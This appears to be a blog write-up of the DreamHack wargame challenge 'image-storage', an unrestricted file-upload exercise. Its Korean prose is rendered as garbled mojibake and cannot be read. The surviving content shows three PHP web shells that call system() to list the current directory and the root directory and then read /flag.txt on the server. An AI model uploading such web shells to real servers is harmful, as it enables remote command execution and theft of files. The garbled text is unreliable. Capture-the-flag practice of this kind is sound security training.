๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
  • Welcome.
:: DreamHack ๐Ÿšฉ/wargame - web

[ dreamhack ] - [ web | image-storage ]

by EunBird 2022. 3. 17.

ํŒŒ์ผ ์—…๋กœ๋“œ ์ทจ์•ฝ์ ์— ๋Œ€ํ•œ ๋ฌธ์ œ๋กœ ๋ณด์ธ๋‹ค.

 


 

์ฃผ์–ด์ง„ ํŽ˜์ด์ง€๋กœ ์ ‘์†ํ•œ ํ›„, Upload ํŽ˜์ด์ง€์— ๋“ค์–ด๊ฐ€๋ฉด 

์œ„ ๊ทธ๋ฆผ์ฒ˜๋Ÿผ ํŒŒ์ผ์„ ์˜ฌ๋ฆด ์ˆ˜ ๊ฐ€ ์žˆ๋‹ค.

 


์ฃผ์–ด์ง„ php ์ฝ”๋“œ๋ฅด ๋ณด๋‹ˆ, 

์—…๋กœ๋“œ ํŒŒ์ผ์— ๋Œ€ํ•œ ํ™•์žฅ์ž ํ•„ํ„ฐ๋ง์€ ์กด์žฌํ•˜์ง€ ์•Š๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์ธ๋‹ค.

๊ทธ๋ž˜์„œ, php ์ฝ”๋“œ ํŒŒ์ผ์„ ๋งŒ๋“ค์–ด์„œ 

์„œ๋ฒ„์˜ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋ช…๋ น์„ ์‹คํ–‰ํ•ด๋ณด๋„๋ก ํ•˜์ž.


๋จผ์ €,

<?php
	system("ls");
?>

๋ผ๊ณ  ์ฝ”๋“œ๋ฅผ ๋งŒ๋“ค์–ด์„œ

ํ˜„์žฌ์œ„์น˜์—์„œ์˜ ํŒŒ์ผ๋“ค์„ ๋จผ์ € ์ถœ๋ ฅํ•ด๋ณด์ž.

(ํŒŒ์ผ๋ช… : get_flag4.php)


์—…๋กœ๋“œ ์™„๋ฃŒ.


 

list ํŽ˜์ด์ง€๋กœ ๊ฐ€์„œ ์—…๋กœ๋“œ๋œ

get_flag4.php ๋ฅผ ํด๋ฆญ.


 

!! ํŒŒ์ผ ๋ชฉ๋ก์ด ์ถœ๋ ฅ๋˜์—ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ ์•„์‰ฝ๊ฒŒ๋„ list์œ„์น˜์—๋Š” flag.txt๋Š” ์—†๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.


flag.txt ๊ฐ€ ์–ด๋Š ์œ„์น˜์— ์žˆ๋Š”์ง€ ์•Œ์•„๋‚ด๊ธฐ  ์œ„ํ•ด

์ตœ์ƒ์œ„ ํด๋”๋ถ€ํ„ฐ ๋ฆฌ์ŠคํŠธ๋ฅผ ์ถœ๋ ฅํ•˜๋Š” ๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅํ•˜๊ณ  ์—…๋กœ๋“œ ํ•˜๊ฒ ๋‹ค.

ํŒŒ์ผ๋ช… : get_flag5.php

<?php
	system("ls /");
?>

 


 

 

ํŒŒ์ผ์ด ์—…๋กœ๋“œ ๋˜์—ˆ๊ณ  ๋“ค์–ด๊ฐ€๋ณด๊ฒ ๋‹ค.

 


์ตœ์ƒ์œ„ ํด๋”์— flag.txt ๊ฐ€ ์กด์žฌํ•จ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 


๊ทธ๋ ‡๋‹ค๋ฉด, ์ตœ์ƒ์œ„ ํด๋”์— ์žˆ๋Š” flag.txt ๋ฅผ ์ถœ๋ ฅํ•˜๋„๋ก ์ฝ”๋“œ๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ ์—…๋กœ๋“œํ•˜์ž.

ํŒŒ์ผ๋ช… : get_flag6.php

<?php
	system("cat /flag.txt");

?>

 

 

 

์—…๋กœ๋“œ ์™„๋ฃŒ. ํด๋ฆญํ•˜๋ฉด ?


 

 

flag.txt ๊ฐ€ ์ถœ๋ ฅ๋œ๋‹ค.

728x90

':: DreamHack ๐Ÿšฉ > wargame - web' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[ dreamhack ] - [ web | csrf-2 ]  (0) 2022.04.05
[ dreamhack ] - [ web | csrf -1 ]  (0) 2022.03.29
[ dreamhack ] - [ web | proxy-1 ]  (0) 2022.03.17
[ dreamhack ] - [ web | command-injection-1 ]  (0) 2022.03.16
[ dreamhack ] - [web | file download ]  (0) 2022.03.16

๋Œ“๊ธ€